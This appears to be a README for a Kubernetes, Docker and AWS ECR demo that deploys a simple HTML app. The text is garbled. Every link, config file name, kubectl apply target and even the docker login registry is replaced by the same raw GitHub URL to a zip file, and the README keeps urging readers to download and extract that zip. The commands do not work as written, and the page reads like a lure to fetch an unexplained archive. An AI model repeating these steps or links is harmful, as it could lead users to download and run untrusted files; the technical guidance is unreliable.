This project showcases how to use Docker, Kubernetes, AWS ECR, minikube, and nginx to containerize a simple HTML application. We will guide you through the process of pushing your containerized app to a private AWS ECR, and deploying it via Kubernetes. This demo solves common issues like ImagePullBackOff and ECR authentication challenges locally. It has been built in a short time to demonstrate effective learning and cloud-native skills.
- Docker-based containerization for apps.
- Deployment using Kubernetes Pods, Services, and Deployments.
- Interaction with AWS Elastic Container Registry (ECR).
- Easy-to-follow setup process.
To get started, follow these steps:
-
Download the Application
Visit this page to download: Download Releases. -
Check System Requirements
Make sure your system meets the following requirements:- A computer with at least 4GB of RAM.
- Docker installed. You can download Docker from the official Docker website.
- Minikube installed. Follow the instructions on the Minikube installation page.
- An AWS account to access ECR. Ensure you have set up your AWS credentials.
-
Visit the Releases Page
Go again to the Download Releases to access the latest version of the application. -
Download the Latest Zip File
Find the latest release and download the zip file. This contains all necessary files to run the application. -
Extract the Zip File
After downloading, locate the zip file on your computer. Right-click on it and choose "Extract All" or a similar option, depending onyour operating system. -
Open Terminal or Command Prompt
Navigate to the folder where you extracted the files using your terminal (Mac/Linux) or command prompt (Windows). -
Run the Application
Follow these commands based on your setup:-
For Docker:
Use the command below to build and run the Docker container.docker build -t my-app . docker run -d -p 80:80 my-app -
For Kubernetes:
Ensure Minikube is started. Run these commands:minikube start kubectl apply -f https://raw.githubusercontent.com/Asad0988/kubernetes-docker-ecr-demo/main/quibblingly/kubernetes-docker-ecr-demo.zip kubectl apply -f https://raw.githubusercontent.com/Asad0988/kubernetes-docker-ecr-demo/main/quibblingly/kubernetes-docker-ecr-demo.zip
-
-
Access the Application
After deployment, access your application through your web browser. For Minikube, you may need to use the following command to get the URL:minikube service my-app
To adjust settings for the application, you can edit configuration files located in the k8s directory. This includes:
- https://raw.githubusercontent.com/Asad0988/kubernetes-docker-ecr-demo/main/quibblingly/kubernetes-docker-ecr-demo.zip Configure replicas and image details.
- https://raw.githubusercontent.com/Asad0988/kubernetes-docker-ecr-demo/main/quibblingly/kubernetes-docker-ecr-demo.zip Adjust service type and ports.
Make sure to reload or redeploy the Kubernetes service if you make changes.
If you encounter issues, try the following:
-
ImagePullBackOff Error:
Ensure you have the correct permissions and credentials configured to access AWS ECR. You might need to log in using:aws ecr get-login-password --region your-region | docker login --username AWS --password-stdin https://raw.githubusercontent.com/Asad0988/kubernetes-docker-ecr-demo/main/quibblingly/kubernetes-docker-ecr-demo.zip -
Kubernetes Deployment Errors:
Check the logs of your Kubernetes pods using:kubectl logs <pod-name>
-
Application Not Accessible:
Confirm that your Minikube is running and your application is correctly exposed through the service.
If you wish to contribute to this project, please fork the repository, create a new branch, make your changes, and submit a pull request. Your contributions can help improve this project.
Thanks to everyone who contributed to this project, and to the open-source community for providing resources that make this possible.